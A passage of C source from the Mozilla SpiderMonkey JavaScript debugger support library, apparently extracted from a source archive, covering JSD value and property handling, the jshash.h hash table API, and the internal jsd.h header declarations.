JS_EnterCrossCompartmentCall(jsdc->dumbContext, obj); if(!call) { JS_EndRequest(jsdc->dumbContext); return JS_FALSE; } if(!JS_GetPropertyDescArray(cx, obj, &pda)) { JS_EndRequest(cx); JS_LeaveCrossCompartmentCall(call); return JS_FALSE; } for(i = 0; i < pda.length; i++) { JSDProperty* prop = _newProperty(jsdc, &pda.array[i], 0); if(!prop) { _freeProps(jsdc, jsdval); break; } JS_APPEND_LINK(&prop->links, &jsdval->props); } JS_PutPropertyDescArray(cx, &pda); JS_LeaveCrossCompartmentCall(call); JS_EndRequest(cx); SET_BIT_FLAG(jsdval->flags, GOT_PROPS); return !JS_CLIST_IS_EMPTY(&jsdval->props); } #undef DROP_CLEAR_VALUE #define DROP_CLEAR_VALUE(jsdc, x) if(x){jsd_DropValue(jsdc,x); x = NULL;} void jsd_RefreshValue(JSDContext* jsdc, JSDValue* jsdval) { JSContext* cx = jsdc->dumbContext; JSCrossCompartmentCall *call = NULL; if(jsdval->string) { /* if the jsval is a string, then we didn't need to root the string */ if(!JSVAL_IS_STRING(jsdval->val)) { JS_BeginRequest(cx); call = JS_EnterCrossCompartmentCall(cx, jsdc->glob); if(!call) { JS_EndRequest(cx); return; } JS_RemoveStringRoot(cx, &jsdval->string); JS_LeaveCrossCompartmentCall(call); JS_EndRequest(cx); } jsdval->string = NULL; } jsdval->funName = NULL; jsdval->className = NULL; DROP_CLEAR_VALUE(jsdc, jsdval->proto); DROP_CLEAR_VALUE(jsdc, jsdval->parent); DROP_CLEAR_VALUE(jsdc, jsdval->ctor); _freeProps(jsdc, jsdval); jsdval->flags = 0; } /***************************************************************************/ unsigned jsd_GetCountOfProperties(JSDContext* jsdc, JSDValue* jsdval) { JSDProperty* jsdprop; unsigned count = 0; if(!(CHECK_BIT_FLAG(jsdval->flags, GOT_PROPS))) if(!_buildProps(jsdc, jsdval)) return 0; for(jsdprop = (JSDProperty*)jsdval->props.next; jsdprop != (JSDProperty*)&jsdval->props; jsdprop = (JSDProperty*)jsdprop->links.next) { count++; } return count; } JSDProperty* jsd_IterateProperties(JSDContext* jsdc, JSDValue* jsdval, JSDProperty **iterp) { JSDProperty* jsdprop = *iterp; if(!(CHECK_BIT_FLAG(jsdval->flags, GOT_PROPS))) { JS_ASSERT(!jsdprop); if(!_buildProps(jsdc, jsdval)) return NULL; } if(!jsdprop) jsdprop = (JSDProperty*)jsdval->props.next; if(jsdprop == (JSDProperty*)&jsdval->props) return NULL; *iterp = (JSDProperty*)jsdprop->links.next; JS_ASSERT(jsdprop); jsdprop->nref++; return jsdprop; } JSDProperty* jsd_GetValueProperty(JSDContext* jsdc, JSDValue* jsdval, JSString* name) { JSContext* cx = jsdc->dumbContext; JSDProperty* jsdprop; JSDProperty* iter = NULL; JSObject* obj; unsigned attrs = 0; JSBool found; JSPropertyDesc pd; const jschar * nameChars; size_t nameLen; jsval val, nameval; jsid nameid; JSCrossCompartmentCall *call = NULL; if(!jsd_IsValueObject(jsdc, jsdval)) return NULL; /* If we already have the prop, then return it */ while(NULL != (jsdprop = jsd_IterateProperties(jsdc, jsdval, &iter))) { JSString* propName = jsd_GetValueString(jsdc, jsdprop->name); if(propName) { int result; if (JS_CompareStrings(cx, propName, name, &result) && !result) return jsdprop; } JSD_DropProperty(jsdc, jsdprop); } /* Not found in property list, look it up explicitly */ if(!(obj = JSVAL_TO_OBJECT(jsdval->val))) return NULL; if (!(nameChars = JS_GetStringCharsZAndLength(cx, name, &nameLen))) return NULL; JS_BeginRequest(cx); call = JS_EnterCrossCompartmentCall(cx, obj); if(!call) { JS_EndRequest(cx); return NULL; } JS_GetUCPropertyAttributes(cx, obj, nameChars, nameLen, &attrs, &found); if (!found) { JS_LeaveCrossCompartmentCall(call); JS_EndRequest(cx); return NULL; } JS_ClearPendingException(cx); if(!JS_GetUCProperty(cx, obj, nameChars, nameLen, &val)) { if (JS_IsExceptionPending(cx)) { if (!JS_GetPendingException(cx, &pd.value)) { JS_LeaveCrossCompartmentCall(call); JS_EndRequest(cx); return NULL; } pd.flags = JSPD_EXCEPTION; } else { pd.flags = JSPD_ERROR; pd.value = JSVAL_VOID; } } else { pd.value = val; } JS_LeaveCrossCompartmentCall(call); JS_EndRequest(cx); nameval = STRING_TO_JSVAL(name); if (!JS_ValueToId(cx, nameval, &nameid) || !JS_IdToValue(cx, nameid, &pd.id)) { return NULL; } pd.spare = 0; pd.alias = JSVAL_NULL; pd.flags |= (attrs & JSPROP_ENUMERATE) ? JSPD_ENUMERATE : 0 | (attrs & JSPROP_READONLY) ? JSPD_READONLY : 0 | (attrs & JSPROP_PERMANENT) ? JSPD_PERMANENT : 0; return _newProperty(jsdc, &pd, JSDPD_HINTED); } /* * Retrieve a JSFunction* from a JSDValue*. This differs from * JS_ValueToFunction by fully unwrapping the object first. */ JSFunction* jsd_GetValueFunction(JSDContext* jsdc, JSDValue* jsdval) { JSObject *obj; JSFunction *fun; JSCrossCompartmentCall *call = NULL; if (JSVAL_IS_PRIMITIVE(jsdval->val)) return NULL; obj = JS_UnwrapObject(JSVAL_TO_OBJECT(jsdval->val)); call = JS_EnterCrossCompartmentCall(jsdc->dumbContext, obj); if (!call) return NULL; fun = JS_ValueToFunction(jsdc->dumbContext, OBJECT_TO_JSVAL(obj)); JS_LeaveCrossCompartmentCall(call); return fun; } JSDValue* jsd_GetValuePrototype(JSDContext* jsdc, JSDValue* jsdval) { JSCrossCompartmentCall *call = NULL; if(!(CHECK_BIT_FLAG(jsdval->flags, GOT_PROTO))) { JSObject* obj; JSObject* proto; JS_ASSERT(!jsdval->proto); SET_BIT_FLAG(jsdval->flags, GOT_PROTO); if(JSVAL_IS_PRIMITIVE(jsdval->val)) return NULL; obj = JSVAL_TO_OBJECT(jsdval->val); proto = JS_GetPrototype(obj); if(!proto) return NULL; jsdval->proto = jsd_NewValue(jsdc, OBJECT_TO_JSVAL(proto)); } if(jsdval->proto) jsdval->proto->nref++; return jsdval->proto; } JSDValue* jsd_GetValueParent(JSDContext* jsdc, JSDValue* jsdval) { JSCrossCompartmentCall *call = NULL; if(!(CHECK_BIT_FLAG(jsdval->flags, GOT_PARENT))) { JSObject* obj; JSObject* parent; JS_ASSERT(!jsdval->parent); SET_BIT_FLAG(jsdval->flags, GOT_PARENT); if(JSVAL_IS_PRIMITIVE(jsdval->val)) return NULL; obj = JSVAL_TO_OBJECT(jsdval->val); JS_BeginRequest(jsdc->dumbContext); call = JS_EnterCrossCompartmentCall(jsdc->dumbContext, obj); if(!call) { JS_EndRequest(jsdc->dumbContext); return NULL; } parent = JS_GetParentOrScopeChain(jsdc->dumbContext,obj); JS_LeaveCrossCompartmentCall(call); JS_EndRequest(jsdc->dumbContext); if(!parent) return NULL; jsdval->parent = jsd_NewValue(jsdc, OBJECT_TO_JSVAL(parent)); } if(jsdval->parent) jsdval->parent->nref++; return jsdval->parent; } JSDValue* jsd_GetValueConstructor(JSDContext* jsdc, JSDValue* jsdval) { JSCrossCompartmentCall *call = NULL; if(!(CHECK_BIT_FLAG(jsdval->flags, GOT_CTOR))) { JSObject* obj; JSObject* proto; JSObject* ctor; JS_ASSERT(!jsdval->ctor); SET_BIT_FLAG(jsdval->flags, GOT_CTOR); if(JSVAL_IS_PRIMITIVE(jsdval->val)) return NULL; obj = JSVAL_TO_OBJECT(jsdval->val); proto = JS_GetPrototype(obj); if(!proto) return NULL; JS_BeginRequest(jsdc->dumbContext); call = JS_EnterCrossCompartmentCall(jsdc->dumbContext, obj); if(!call) { JS_EndRequest(jsdc->dumbContext); return NULL; } ctor = JS_GetConstructor(jsdc->dumbContext,proto); JS_LeaveCrossCompartmentCall(call); JS_EndRequest(jsdc->dumbContext); if(!ctor) return NULL; jsdval->ctor = jsd_NewValue(jsdc, OBJECT_TO_JSVAL(ctor)); } if(jsdval->ctor) jsdval->ctor->nref++; return jsdval->ctor; } const char* jsd_GetValueClassName(JSDContext* jsdc, JSDValue* jsdval) { jsval val = jsdval->val; JSCrossCompartmentCall *call = NULL; if(!jsdval->className && !JSVAL_IS_PRIMITIVE(val)) { JSObject* obj = JSVAL_TO_OBJECT(val); JS_BeginRequest(jsdc->dumbContext); call = JS_EnterCrossCompartmentCall(jsdc->dumbContext, obj); if(!call) { JS_EndRequest(jsdc->dumbContext); return NULL; } jsdval->className = JS_GetDebugClassName(obj); JS_LeaveCrossCompartmentCall(call); JS_EndRequest(jsdc->dumbContext); } return jsdval->className; } JSDScript* jsd_GetScriptForValue(JSDContext* jsdc, JSDValue* jsdval) { JSContext* cx = jsdc->dumbContext; jsval val = jsdval->val; JSFunction* fun = NULL; JSExceptionState* exceptionState; JSScript* script = NULL; JSDScript* jsdscript; JSCrossCompartmentCall *call = NULL; if (!jsd_IsValueFunction(jsdc, jsdval)) return NULL; JS_BeginRequest(cx); call = JS_EnterCrossCompartmentCall(cx, JSVAL_TO_OBJECT(val)); if (!call) { JS_EndRequest(cx); return NULL; } exceptionState = JS_SaveExceptionState(cx); fun = JSD_GetValueFunction(jsdc, jsdval); JS_RestoreExceptionState(cx, exceptionState); if (fun) script = JS_GetFunctionScript(cx, fun); JS_LeaveCrossCompartmentCall(call); JS_EndRequest(cx); if (!script) return NULL; JSD_LOCK_SCRIPTS(jsdc); jsdscript = jsd_FindJSDScript(jsdc, script); JSD_UNLOCK_SCRIPTS(jsdc); return jsdscript; } /***************************************************************************/ /***************************************************************************/ JSDValue* jsd_GetPropertyName(JSDContext* jsdc, JSDProperty* jsdprop) { jsdprop->name->nref++; return jsdprop->name; } JSDValue* jsd_GetPropertyValue(JSDContext* jsdc, JSDProperty* jsdprop) { jsdprop->val->nref++; return jsdprop->val; } JSDValue* jsd_GetPropertyAlias(JSDContext* jsdc, JSDProperty* jsdprop) { if(jsdprop->alias) jsdprop->alias->nref++; return jsdprop->alias; } unsigned jsd_GetPropertyFlags(JSDContext* jsdc, JSDProperty* jsdprop) { return jsdprop->flags; } void jsd_DropProperty(JSDContext* jsdc, JSDProperty* jsdprop) { JS_ASSERT(jsdprop->nref > 0); if(0 == --jsdprop->nref) { JS_ASSERT(JS_CLIST_IS_EMPTY(&jsdprop->links)); DROP_CLEAR_VALUE(jsdc, jsdprop->val); DROP_CLEAR_VALUE(jsdc, jsdprop->name); DROP_CLEAR_VALUE(jsdc, jsdprop->alias); free(jsdprop); } } mozjs17.0.0/js/jsd/jshash.h0000664000175000017500000001017712106270662015433 0ustar sstanglsstangl/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #ifndef jshash_h___ #define jshash_h___ /* * API to portable hash table code. */ #include #include #include "jstypes.h" JS_BEGIN_EXTERN_C typedef uint32_t JSHashNumber; typedef struct JSHashEntry JSHashEntry; typedef struct JSHashTable JSHashTable; #define JS_HASH_BITS 32 #define JS_GOLDEN_RATIO 0x9E3779B9U typedef JSHashNumber (* JSHashFunction)(const void *key); typedef int (* JSHashComparator)(const void *v1, const void *v2); typedef int (* JSHashEnumerator)(JSHashEntry *he, int i, void *arg); /* Flag bits in JSHashEnumerator's return value */ #define HT_ENUMERATE_NEXT 0 /* continue enumerating entries */ #define HT_ENUMERATE_STOP 1 /* stop enumerating entries */ #define HT_ENUMERATE_REMOVE 2 /* remove and free the current entry */ typedef struct JSHashAllocOps { void * (*allocTable)(void *pool, size_t size); void (*freeTable)(void *pool, void *item, size_t size); JSHashEntry * (*allocEntry)(void *pool, const void *key); void (*freeEntry)(void *pool, JSHashEntry *he, unsigned flag); } JSHashAllocOps; #define HT_FREE_VALUE 0 /* just free the entry's value */ #define HT_FREE_ENTRY 1 /* free value and entire entry */ struct JSHashEntry { JSHashEntry *next; /* hash chain linkage */ JSHashNumber keyHash; /* key hash function result */ const void *key; /* ptr to opaque key */ void *value; /* ptr to opaque value */ }; struct JSHashTable { JSHashEntry **buckets; /* vector of hash buckets */ uint32_t nentries; /* number of entries in table */ uint32_t shift; /* multiplicative hash shift */ JSHashFunction keyHash; /* key hash function */ JSHashComparator keyCompare; /* key comparison function */ JSHashComparator valueCompare; /* value comparison function */ JSHashAllocOps *allocOps; /* allocation operations */ void *allocPriv; /* allocation private data */ #ifdef JS_HASHMETER uint32_t nlookups; /* total number of lookups */ uint32_t nsteps; /* number of hash chains traversed */ uint32_t ngrows; /* number of table expansions */ uint32_t nshrinks; /* number of table contractions */ #endif }; /* * Create a new hash table. * If allocOps is null, use default allocator ops built on top of malloc(). */ extern JSHashTable * JS_NewHashTable(uint32_t n, JSHashFunction keyHash, JSHashComparator keyCompare, JSHashComparator valueCompare, JSHashAllocOps *allocOps, void *allocPriv); extern void JS_HashTableDestroy(JSHashTable *ht); /* Low level access methods */ extern JSHashEntry ** JS_HashTableRawLookup(JSHashTable *ht, JSHashNumber keyHash, const void *key); #ifdef __cplusplus extern JSHashEntry * JS_HashTableRawAdd(JSHashTable *ht, JSHashEntry **&hep, JSHashNumber keyHash, const void *key, void *value); #endif extern void JS_HashTableRawRemove(JSHashTable *ht, JSHashEntry **hep, JSHashEntry *he); /* Higher level access methods */ extern JSHashEntry * JS_HashTableAdd(JSHashTable *ht, const void *key, void *value); extern JSBool JS_HashTableRemove(JSHashTable *ht, const void *key); extern int JS_HashTableEnumerateEntries(JSHashTable *ht, JSHashEnumerator f, void *arg); extern void * JS_HashTableLookup(JSHashTable *ht, const void *key); extern int JS_HashTableDump(JSHashTable *ht, JSHashEnumerator dump, FILE *fp); /* General-purpose C string hash function. */ extern JSHashNumber JS_HashString(const void *key); /* Stub function just returns v1 == v2 */ extern int JS_CompareValues(const void *v1, const void *v2); JS_END_EXTERN_C #endif /* jshash_h___ */ mozjs17.0.0/js/jsd/jsd.h0000664000175000017500000010214112106270662014724 0ustar sstanglsstangl/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * Header for JavaScript Debugging support - Internal ONLY declarations */ #ifndef jsd_h___ #define jsd_h___ /* * NOTE: This is a *private* header file and should only be included by * the sources in js/jsd. Defining EXPORT_JSD_API in an outside module * using jsd would be bad. */ #define EXPORT_JSD_API 1 /* if used, must be set before include of jsdebug.h */ /* * These can be controled by the makefile, but this allows a place to set * the values always used in the mozilla client, but perhaps done differently * in other embeddings. */ #ifdef MOZILLA_CLIENT #define JSD_THREADSAFE 1 /* define JSD_HAS_DANGEROUS_THREAD 1 */ #define JSD_USE_NSPR_LOCKS 1 #endif /* MOZILLA_CLIENT */ /* Get jstypes.h included first. After that we can use PR macros for doing * this extern "C" stuff! */ #ifdef __cplusplus extern "C" { #endif #include "jstypes.h" #ifdef __cplusplus } #endif JS_BEGIN_EXTERN_C #include "jsprf.h" #include "jsutil.h" /* Added by JSIFY */ #include "jshash.h" /* Added by JSIFY */ #include "jsclist.h" #include "jsdebug.h" #include "jsapi.h" #include "jsdbgapi.h" #include "jsd_lock.h" #include #include #include #ifdef LIVEWIRE #include #include #include #include #endif /* LIVEWIRE */ JS_END_EXTERN_C JS_BEGIN_EXTERN_C #define JSD_MAJOR_VERSION 1 #define JSD_MINOR_VERSION 1 /***************************************************************************/ /* handy macros */ #undef CHECK_BIT_FLAG #define CHECK_BIT_FLAG(f,b) ((f)&(b)) #undef SET_BIT_FLAG #define SET_BIT_FLAG(f,b) ((f)|=(b)) #undef CLEAR_BIT_FLAG #define CLEAR_BIT_FLAG(f,b) ((f)&=(~(b))) #define JSD_IS_DEBUG_ENABLED(jsdc,jsdscript) \ (!(((jsdc->flags & JSD_DEBUG_WHEN_SET) ? 1 : 0) ^ \ ((jsdscript->flags & JSD_SCRIPT_DEBUG_BIT) ? 1 : 0))) #define JSD_IS_PROFILE_ENABLED(jsdc,jsdscript) \ ((jsdc->flags & JSD_COLLECT_PROFILE_DATA) && \ (!(((jsdc->flags & JSD_PROFILE_WHEN_SET) ? 1 : 0) ^ \ ((jsdscript->flags & JSD_SCRIPT_PROFILE_BIT) ? 1 : 0)))) /***************************************************************************/ /* These are not exposed in jsdebug.h - typedef here for consistency */ typedef struct JSDExecHook JSDExecHook; typedef struct JSDAtom JSDAtom; typedef struct JSDProfileData JSDProfileData; /***************************************************************************/ /* Our structures */ /* * XXX What I'm calling a JSDContext is really more of a JSDTaskState. */ struct JSDContext { JSCList links; /* we are part of a JSCList */ JSBool inited; void* data; uint32_t flags; JSD_ScriptHookProc scriptHook; void* scriptHookData; JSD_ExecutionHookProc interruptHook; void* interruptHookData; JSRuntime* jsrt; JSD_ErrorReporter errorReporter; void* errorReporterData; JSCList threadsStates; JSD_ExecutionHookProc debugBreakHook; void* debugBreakHookData; JSD_ExecutionHookProc debuggerHook; void* debuggerHookData; JSD_ExecutionHookProc throwHook; void* throwHookData; JSD_CallHookProc functionHook; void* functionHookData; JSD_CallHookProc toplevelHook; void* toplevelHookData; JSContext* dumbContext; JSObject* glob; JSD_UserCallbacks userCallbacks; void* user; JSCList scripts; JSHashTable* scriptsTable; JSCList sources; JSCList removedSources; unsigned sourceAlterCount; JSHashTable* atoms; JSCList objectsList; JSHashTable* objectsTable; JSDProfileData* callingFunctionPData; int64_t lastReturnTime; #ifdef JSD_THREADSAFE void* scriptsLock; void* sourceTextLock; void* objectsLock; void* atomsLock; void* threadStatesLock; #endif /* JSD_THREADSAFE */ #ifdef JSD_HAS_DANGEROUS_THREAD void* dangerousThread; #endif /* JSD_HAS_DANGEROUS_THREAD */ }; struct JSDScript { JSCList links; /* we are part of a JSCList */ JSDContext* jsdc; /* JSDContext for this jsdscript */ JSScript* script; /* script we are wrapping */ unsigned lineBase; /* we cache this */ unsigned lineExtent; /* we cache this */ JSCList hooks; /* JSCList of JSDExecHooks for this script */ char* url; uint32_t flags; void* data; JSDProfileData *profileData; #ifdef LIVEWIRE LWDBGApp* app; LWDBGScript* lwscript; #endif }; struct JSDProfileData { JSDProfileData* caller; int64_t lastCallStart; int64_t runningTime; unsigned callCount; unsigned recurseDepth; unsigned maxRecurseDepth; double minExecutionTime; double maxExecutionTime; double totalExecutionTime; double minOwnExecutionTime; double maxOwnExecutionTime; double totalOwnExecutionTime; }; struct JSDSourceText { JSCList links; /* we are part of a JSCList */ char* url; char* text; unsigned textLength; unsigned textSpace; JSBool dirty; JSDSourceStatus status; unsigned alterCount; JSBool doingEval; }; struct JSDExecHook { JSCList links; /* we are part of a JSCList */ JSDScript* jsdscript; uintptr_t pc; JSD_ExecutionHookProc hook; void* callerdata; }; #define TS_HAS_DISABLED_FRAME 0x01 struct JSDThreadState { JSCList links; /* we are part of a JSCList */ JSContext* context; void* thread; JSCList stack; unsigned stackDepth; unsigned flags; }; struct JSDStackFrameInfo { JSCList links; /* we are part of a JSCList */ JSDThreadState* jsdthreadstate; JSDScript* jsdscript; uintptr_t pc; JSStackFrame* fp; }; #define GOT_PROTO ((short) (1 << 0)) #define GOT_PROPS ((short) (1 << 1)) #define GOT_PARENT ((short) (1 << 2)) #define GOT_CTOR ((short) (1 << 3)) struct JSDValue { jsval val; int nref; JSCList props; JSString* string; JSString* funName; const char* className; JSDValue* proto; JSDValue* parent; JSDValue* ctor; unsigned flags; }; struct JSDProperty { JSCList links; /* we are part of a JSCList */ int nref; JSDValue* val; JSDValue* name; JSDValue* alias; unsigned flags; }; struct JSDAtom { char* str; /* must be first element in struct for compare */ int refcount; }; struct JSDObject { JSCList links; /* we are part of a JSCList */ JSObject* obj; JSDAtom* newURL; unsigned newLineno; JSDAtom* ctorURL; unsigned ctorLineno; JSDAtom* ctorName; }; /***************************************************************************/ /* Code validation support */ #ifdef DEBUG extern void JSD_ASSERT_VALID_CONTEXT(JSDContext* jsdc); extern void JSD_ASSERT_VALID_SCRIPT(JSDScript* jsdscript); extern void JSD_ASSERT_VALID_SOURCE_TEXT(JSDSourceText* jsdsrc); extern void JSD_ASSERT_VALID_THREAD_STATE(JSDThreadState* jsdthreadstate); extern void JSD_ASSERT_VALID_STACK_FRAME(JSDStackFrameInfo* jsdframe); extern void JSD_ASSERT_VALID_EXEC_HOOK(JSDExecHook* jsdhook); extern void JSD_ASSERT_VALID_VALUE(JSDValue* jsdval); extern void JSD_ASSERT_VALID_PROPERTY(JSDProperty* jsdprop); extern void JSD_ASSERT_VALID_OBJECT(JSDObject* jsdobj); #else #define JSD_ASSERT_VALID_CONTEXT(x) ((void)0) #define JSD_ASSERT_VALID_SCRIPT(x) ((void)0) #define JSD_ASSERT_VALID_SOURCE_TEXT(x) ((void)0) #define JSD_ASSERT_VALID_THREAD_STATE(x)((void)0) #define JSD_ASSERT_VALID_STACK_FRAME(x) ((void)0) #define JSD_ASSERT_VALID_EXEC_HOOK(x) ((void)0) #define JSD_ASSERT_VALID_VALUE(x) ((void)0) #define JSD_ASSERT_VALID_PROPERTY(x) ((void)0) #define JSD_ASSERT_VALID_OBJECT(x) ((void)0) #endif /***************************************************************************/ /* higher level functions */ extern JSDContext* jsd_DebuggerOnForUser(JSRuntime* jsrt, JSD_UserCallbacks* callbacks, void* user, JSObject* scopeobj); extern JSDContext* jsd_DebuggerOn(void); extern void jsd_DebuggerOff(JSDContext* jsdc); extern void jsd_DebuggerPause(JSDContext* jsdc, JSBool forceAllHooksOff); extern void jsd_DebuggerUnpause(JSDContext* jsdc); extern void jsd_SetUserCallbacks(JSRuntime* jsrt, JSD_UserCallbacks* callbacks, void* user); extern JSDContext* jsd_JSDContextForJSContext(JSContext* context); extern void* jsd_SetContextPrivate(JSDContext* jsdc, void *data); extern void* jsd_GetContextPrivate(JSDContext* jsdc); extern void jsd_ClearAllProfileData(JSDContext* jsdc); extern JSBool jsd_SetErrorReporter(JSDContext* jsdc, JSD_ErrorReporter reporter, void* callerdata); extern JSBool jsd_GetErrorReporter(JSDContext* jsdc, JSD_ErrorReporter* reporter, void** callerdata); /***************************************************************************/ /* Script functions */ extern JSBool jsd_InitScriptManager(JSDContext *jsdc); extern void jsd_DestroyScriptManager(JSDContext* jsdc); extern JSDScript* jsd_FindJSDScript(JSDContext* jsdc, JSScript *script); extern JSDScript* jsd_FindOrCreateJSDScript(JSDContext *jsdc, JSContext *cx, JSScript *script, JSStackFrame *fp); extern JSDProfileData* jsd_GetScriptProfileData(JSDContext* jsdc, JSDScript *script); extern uint32_t jsd_GetScriptFlags(JSDContext *jsdc, JSDScript *script); extern void jsd_SetScriptFlags(JSDContext *jsdc, JSDScript *script, uint32_t flags); extern unsigned jsd_GetScriptCallCount(JSDContext* jsdc, JSDScript *script); extern unsigned jsd_GetScriptMaxRecurseDepth(JSDContext* jsdc, JSDScript *script); extern double jsd_GetScriptMinExecutionTime(JSDContext* jsdc, JSDScript *script); extern double jsd_GetScriptMaxExecutionTime(JSDContext* jsdc, JSDScript *script); extern double jsd_GetScriptTotalExecutionTime(JSDContext* jsdc, JSDScript *script); extern double jsd_GetScriptMinOwnExecutionTime(JSDContext* jsdc, JSDScript *script); extern double jsd_GetScriptMaxOwnExecutionTime(JSDContext* jsdc, JSDScript *script); extern double jsd_GetScriptTotalOwnExecutionTime(JSDContext* jsdc, JSDScript *script); extern void jsd_ClearScriptProfileData(JSDContext* jsdc, JSDScript *script); extern JSScript * jsd_GetJSScript (JSDContext *jsdc, JSDScript *script); extern JSFunction * jsd_GetJSFunction (JSDContext *jsdc, JSDScript *script); extern JSDScript* jsd_IterateScripts(JSDContext* jsdc, JSDScript **iterp); extern void * jsd_SetScriptPrivate (JSDScript *jsdscript, void *data); extern void * jsd_GetScriptPrivate (JSDScript *jsdscript); extern JSBool jsd_IsActiveScript(JSDContext* jsdc, JSDScript *jsdscript); extern const char* jsd_GetScriptFilename(JSDContext* jsdc, JSDScript *jsdscript); extern JSString* jsd_GetScriptFunctionId(JSDContext* jsdc, JSDScript *jsdscript); extern unsigned jsd_GetScriptBaseLineNumber(JSDContext* jsdc, JSDScript *jsdscript); extern unsigned jsd_GetScriptLineExtent(JSDContext* jsdc, JSDScript *jsdscript); extern JSBool jsd_SetScriptHook(JSDContext* jsdc, JSD_ScriptHookProc hook, void* callerdata); extern JSBool jsd_GetScriptHook(JSDContext* jsdc, JSD_ScriptHookProc* hook, void** callerdata); extern uintptr_t jsd_GetClosestPC(JSDContext* jsdc, JSDScript* jsdscript, unsigned line); extern unsigned jsd_GetClosestLine(JSDContext* jsdc, JSDScript* jsdscript, uintptr_t pc); extern JSBool jsd_GetLinePCs(JSDContext* jsdc, JSDScript* jsdscript, unsigned startLine, unsigned maxLines, unsigned* count, unsigned** lines, uintptr_t** pcs); extern void jsd_NewScriptHookProc( JSContext *cx, const char *filename, /* URL this script loads from */ unsigned lineno, /* line where this script starts */ JSScript *script, JSFunction *fun, void* callerdata); extern void jsd_DestroyScriptHookProc( JSFreeOp *fop, JSScript *script, void* callerdata); /* Script execution hook functions */ extern JSBool jsd_SetExecutionHook(JSDContext* jsdc, JSDScript* jsdscript, uintptr_t pc, JSD_ExecutionHookProc hook, void* callerdata); extern JSBool jsd_ClearExecutionHook(JSDContext* jsdc, JSDScript* jsdscript, uintptr_t pc); extern JSBool jsd_ClearAllExecutionHooksForScript(JSDContext* jsdc, JSDScript* jsdscript); extern JSBool jsd_ClearAllExecutionHooks(JSDContext* jsdc); extern void jsd_ScriptCreated(JSDContext* jsdc, JSContext *cx, const char *filename, /* URL this script loads from */ unsigned lineno, /* line where this script starts */ JSScript *script, JSFunction *fun); extern void jsd_ScriptDestroyed(JSDContext* jsdc, JSFreeOp *fop, JSScript *script); /***************************************************************************/ /* Source Text functions */ extern JSDSourceText* jsd_IterateSources(JSDContext* jsdc, JSDSourceText **iterp); extern JSDSourceText* jsd_FindSourceForURL(JSDContext* jsdc, const char* url); extern const char* jsd_GetSourceURL(JSDContext* jsdc, JSDSourceText* jsdsrc); extern JSBool jsd_GetSourceText(JSDContext* jsdc, JSDSourceText* jsdsrc, const char** ppBuf, int* pLen); extern void jsd_ClearSourceText(JSDContext* jsdc, JSDSourceText* jsdsrc); extern JSDSourceStatus jsd_GetSourceStatus(JSDContext* jsdc, JSDSourceText* jsdsrc); extern JSBool jsd_IsSourceDirty(JSDContext* jsdc, JSDSourceText* jsdsrc); extern void jsd_SetSourceDirty(JSDContext* jsdc, JSDSourceText* jsdsrc, JSBool dirty); extern unsigned jsd_GetSourceAlterCount(JSDContext* jsdc, JSDSourceText* jsdsrc); extern unsigned jsd_IncrementSourceAlterCount(JSDContext* jsdc, JSDSourceText* jsdsrc); extern JSDSourceText* jsd_NewSourceText(JSDContext* jsdc, const char* url); extern JSDSourceText* jsd_AppendSourceText(JSDContext* jsdc, JSDSourceText* jsdsrc, const char* text, /* *not* zero terminated */ size_t length, JSDSourceStatus status); extern JSDSourceText* jsd_AppendUCSourceText(JSDContext* jsdc, JSDSourceText* jsdsrc, const jschar* text, /* *not* zero terminated */ size_t length, JSDSourceStatus status); /* convienence function for adding complete source of url in one call */ extern JSBool jsd_AddFullSourceText(JSDContext* jsdc, const char* text, /* *not* zero terminated */ size_t length, const char* url); extern void jsd_DestroyAllSources(JSDContext* jsdc); extern char* jsd_BuildNormalizedURL(const char* url_string); extern void jsd_StartingEvalUsingFilename(JSDContext* jsdc, const char* url); extern void jsd_FinishedEvalUsingFilename(JSDContext* jsdc, const char* url); /***************************************************************************/ /* Interrupt Hook functions */ extern JSBool jsd_SetInterruptHook(JSDContext* jsdc, JSD_ExecutionHookProc hook, void* callerdata); extern JSBool jsd_ClearInterruptHook(JSDContext* jsdc); extern JSBool jsd_EnableSingleStepInterrupts(JSDContext* jsdc, JSDScript* jsdscript, JSBool enable); extern JSBool jsd_SetDebugBreakHook(JSDContext* jsdc, JSD_ExecutionHookProc hook, void* callerdata); extern JSBool jsd_ClearDebugBreakHook(JSDContext* jsdc); extern JSBool jsd_SetDebuggerHook(JSDContext* jsdc, JSD_ExecutionHookProc hook, void* callerdata); extern JSBool jsd_ClearDebuggerHook(JSDContext* jsdc); extern JSTrapStatus jsd_CallExecutionHook(JSDContext* jsdc, JSContext* cx, unsigned type, JSD_ExecutionHookProc hook, void* hookData, jsval* rval); extern JSBool jsd_CallCallHook (JSDContext* jsdc, JSContext* cx, unsigned type, JSD_CallHookProc hook, void* hookData); extern JSBool jsd_SetThrowHook(JSDContext* jsdc, JSD_ExecutionHookProc hook, void* callerdata); extern JSBool jsd_ClearThrowHook(JSDContext* jsdc); extern JSTrapStatus jsd_DebuggerHandler(JSContext *cx, JSScript *script, jsbytecode *pc, jsval *rval, void *closure); extern JSTrapStatus jsd_ThrowHandler(JSContext *cx, JSScript *script, jsbytecode *pc, jsval *rval, void *closure); extern JSBool jsd_SetFunctionHook(JSDContext* jsdc, JSD_CallHookProc hook, void* callerdata); extern JSBool jsd_ClearFunctionHook(JSDContext* jsdc); extern JSBool jsd_SetTopLevelHook(JSDContext* jsdc, JSD_CallHookProc hook, void* callerdata); extern JSBool jsd_ClearTopLevelHook(JSDContext* jsdc); /***************************************************************************/ /* Stack Frame functions */ extern unsigned jsd_GetCountOfStackFrames(JSDContext* jsdc, JSDThreadState* jsdthreadstate); extern JSDStackFrameInfo* jsd_GetStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate); extern JSContext* jsd_GetJSContext(JSDContext* jsdc, JSDThreadState* jsdthreadstate); extern JSDStackFrameInfo* jsd_GetCallingStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe); extern JSDScript* jsd_GetScriptForStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe); extern uintptr_t 